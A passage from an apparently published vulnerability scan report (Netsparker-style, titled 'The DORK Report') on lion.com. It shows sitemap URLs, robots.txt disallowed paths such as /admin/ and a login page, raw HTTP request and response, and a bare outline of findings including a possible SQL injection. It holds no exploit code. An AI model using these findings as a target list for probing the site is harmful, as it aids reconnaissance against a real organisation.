<loc>http://www.lion.com/Catalog/asp/lion_DateList.asp?Course=RCRA_P32&MEDIA=BALLROOM</loc>
<lastmod>2009-05-11</lastmod>
<changefreq>monthly</changefreq>
<priority>0.7</priority>
</url>
<url>
<loc>http://www.lion.com/Catalog/asp/lion_DateList.asp?Course=RCRA_P34&MEDIA=BALLROOM</loc>
<lastmod>2009-05-11</lastmod>
<changefreq>monthly</changefreq>
<priority>0.7</priority>
</url>
<url>
<loc>http://www.lion.com/Catalog/asp/lion_DateList.asp?Course=RCRA_P37&MEDIA=BALLROOM</loc>
<lastmod>2009-05-11</lastmod>
<changefreq>monthly</changefreq>
<priority>0.7</priority>
</url>
<url>
<loc>http://www.lion.com/Catalog/asp/lion_DateList.asp?Course=RCRA_P37A&MEDIA=BALLROOM</loc>
<lastmod>2009-05-11</lastmod>
<changefreq>monthly</changefreq>
<priority>0.7</priority>
</url>
<url>
<loc>http://www.lion.com/Catalog/asp/lion_DateList.asp?Course=RCRA_P37B&MEDIA=BALLROOM</loc>
<lastmod>2009-05-11</lastmod>
<changefreq>monthly</changefreq>
<priority>0.7</priority>
</url>
<url>
<loc>http://www.lion.com/Catalog/asp/lion_DateList.asp?Course=RCRA_P40&MEDIA=BALLROOM</loc>
<lastmod>2009-05-11</lastmod>
<changefreq>monthly</changefreq>
<priority>0.7</priority>
</url>
<url>
<loc>http://www.lion.com/newsletter/archives/2009.asp</loc>
<lastmod>2009-05-11</lastmod>
<changefreq>weekly</changefreq>
<priority>0.8</priority>
</url>
<url>
<loc>http://www.lion.com/Catalog/popup/HMT_P30.asp</loc>
<lastmod>2009-05-11</lastmod>
<changefreq>yearly</changefreq>
<priority>0.9</priority>
</url>
<url>
<loc>http://www.lion.com/Catalog/popup/HMT_P35.asp</loc>
<lastmod>2008-05-01</lastmod>
<changefreq>yearly</changefreq>
<priority>0.9</priority>
</url>
<url>
<loc>http://www.lion.com/Catalog/popup/HMT_P36.asp</loc>
<lastmod>2008-05-01</lastmod>
<changefreq>yearly</changefreq>
<priority>0.9</priority>
</url>
<url>
<loc>http://www.lion.com/Catalog/popup/HMT_P36A.asp</loc>
<lastmod>2008-05-01</lastmod>
<changefreq>yearly</changefreq>
<priority>0.9</priority>
</url>
<url>
<loc>http://www.lion.com/Catalog/popup/RCRA_P30.asp</loc>
<lastmod>2008-05-01</lastmod>
<changefreq>yearly</changefreq>
<priority>0.9</priority>
</url>
<url>
<loc>http://www.lion.com/Catalog/popup/RCRA_P32.asp</loc>
<lastmod>2008-05-01</lastmod>
<changefreq>yearly</changefreq>
<priority>0.9</priority>
</url>
<url>
<loc>http://www.lion.com/Catalog/popup/RCRA_P34.asp</loc>
<lastmod>2008-05-01</lastmod>
<changefreq>yearly</changefreq>
<priority>0.9</priority>
</url>
<url>
<loc>http://www.lion.com/Catalog/popup/RCRA_P37.asp</loc>
<lastmod>2008-05-01</lastmod>
<changefreq>yearly</changefreq>
<priority>0.9</priority>
</url>
<url>
<loc>http://www.lion.com/Catalog/popup/RCRA_P37A.asp</loc>
<lastmod>2008-05-01</lastmod>
<changefreq>yearly</changefreq>
<priority>0.9</priority>
</url>
<url>
<loc>http://www.lion.com/Catalog/popup/RCRA_P37B.asp</loc>
<lastmod>2008-05-01</lastmod>
<changefreq>yearly</changefreq>
<priority>0.9</priority>
</url>
<url>
<loc>http://www.lion.com/Catalog/popup/RCRA_P40.asp</loc>
<lastmod>2008-05-01</lastmod>
<changefreq>yearly</changefreq>
<priority>0.9</priority>
</url>
</urlset>

Sitemap Identified

1 TOTAL

INFORMATION

Netsparker identified Sitemap file on the target web site. This issue is reported as extra information.

Impact

This issue is reported as extra information, there is no direct impact resulting from this.

- /sitemap.xml

/sitemap.xml

http://www.lion.com/sitemap.xml

Request

Response

Robots.txt Identified

1 TOTAL

INFORMATION

CONFIRMED

Netsparker identified a possibly sensitive Robots.txt file with potentially sensitive content.

Impact

Depending on the content of the file, an attacker might discover hidden directories. Ensure that you have got nothing sensitive exposed within this folder such as the path of the administration panel.

Remedy

If disallowed paths are sensitive, do not write them in the robots.txt and ensure that they correctly protected by means of authentication.

- /robots.txt

/robots.txt CONFIRMED

http://www.lion.com/robots.txt

Interesting Robots.txt Entries

Disallow: /Courses/DOT/
Disallow: /Courses/EPA/
Disallow: /Courses/OSHA/
Disallow: /Regulations/
Disallow: /environment/
Disallow: /osh/
Disallow: /transportation/
Disallow: /admin/
Disallow: /CourseRecords.asp
Disallow: /catalog/asp/CookiesRequired.asp
Disallow: /Membership/login2.asp
Disallow: /Catalog/ASP/Lion_Showcart.asp

Request

GET /robots.txt HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: www.lion.com
Cookie: ASPSESSIONIDAQSBADCD=KFMIMMKDLIIBPDGEAEOMNBGO
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Content-Length: 355
Content-Type: text/plain
Last-Modified: Thu, 21 May 2009 20:52:04 GMT
Accept-Ranges: bytes
ETag: "105040ff55dac91:5f0"
Server: Microsoft-IIS/6.0
PICS-Label: (PICS-1.1 "http://www.rsac.org/ratingsv01.html" l by "webmaster@lion.com" on "2008.06.24T16:00-0400" exp "2020.01.24T12:00-0400" r (n 0 s 0 v 0 l 0 oa 0 ob 0 oc 0 od 0 oe 0 of 0 og 0 oh 0 c 0)),(PICS-1.1 "http://www.rsac.org/ratingsv01.html" l by "webmaster@lion.com" on "2008.06.24T16:00-0400" exp "2020.01.24T12:00-0400" r (n 0 s 0 v 0 l 0 oa 0 ob 0 oc 0 od 0 oe 0 of 0 og 0 oh 0 c 0))(PICS-1.0 "http://www.rsac.org/ratingsv01.html" l by "webmaster@lion.com" on "2008.06.24T16:00-0400" exp "2020.01.24T12:00-0400" r (v 0 s 0 n 0 l 0)),(PICS-1.1 "http://www.rsac.org/ratingsv01.html" l by "webmaster@lion.com" on "2008.06.24T16:00-0400" exp "2020.01.24T12:00-0400" r (n 0 s 0 v 0 l 0 oa 0 ob 0 oc 0 od 0 oe 0 of 0 og 0 oh 0 c 0))(PICS-1.0 "http://www.rsac.org/ratingsv01.html" l by "webmaster@lion.com" on "2008.06.24T16:00-0400" exp "2020.01.24T12:00-0400" r (v 0 s 0 n 0 l 0))(PICS-1.1 "http://www.rsac.org/ratingsv01.html" l by "webmaster@lion.com" on "2008.06.24T16:00-0400" exp "2020.01.24T12:00-0400" r (l 0 s 0 v 0 o 0))
X-Powered-By: ASP.NET
Date: Wed, 09 Mar 2011 22:20:51 GMT

User-agent: *
Disallow: /Courses/DOT/
Disallow: /Courses/EPA/
Disallow: /Courses/OSHA/
Disallow: /Regulations/
Disallow: /environment/
Disallow: /osh/
Disallow: /transportation/
Disallow: /admin/
Disallow: /CourseRecords.asp
Disallow: /catalog/asp/CookiesRequired.asp
Disallow: /Membership/login2.asp
Disallow: /Catalog/ASP/Lion_Showcart.asp

The DORK Report

XSS, DORK, Cross Site Scripting, lion.com REPORT SUMMARY

Total Requests

Average Speed

GHDB, DORK Tests

VULNERABILITIES

[High Possibility] SQL Injection

Impact

Actions to Take

Remedy

Required Skills for Successful Exploitation

External References

Remedy References

/

Parameters

Request

Response

Internal Server Error

Impact

Remedy

/ CONFIRMED

Parameters

Request

Response

Cookie Not Marked As HttpOnly

Impact

Actions to Take

Remedy

External References

/ CONFIRMED

Identified Cookie

Request

Response

Database Error Message

Impact

Remedy

/

Parameters

Request

Response

IIS Version Disclosure

Impact

Remediation

/sitemap.xml

Extracted Version

Request

Response

Sitemap Identified

Impact

/sitemap.xml

Request

Response

Robots.txt Identified

Impact

Remedy

/robots.txt CONFIRMED

Interesting Robots.txt Entries

Request

Response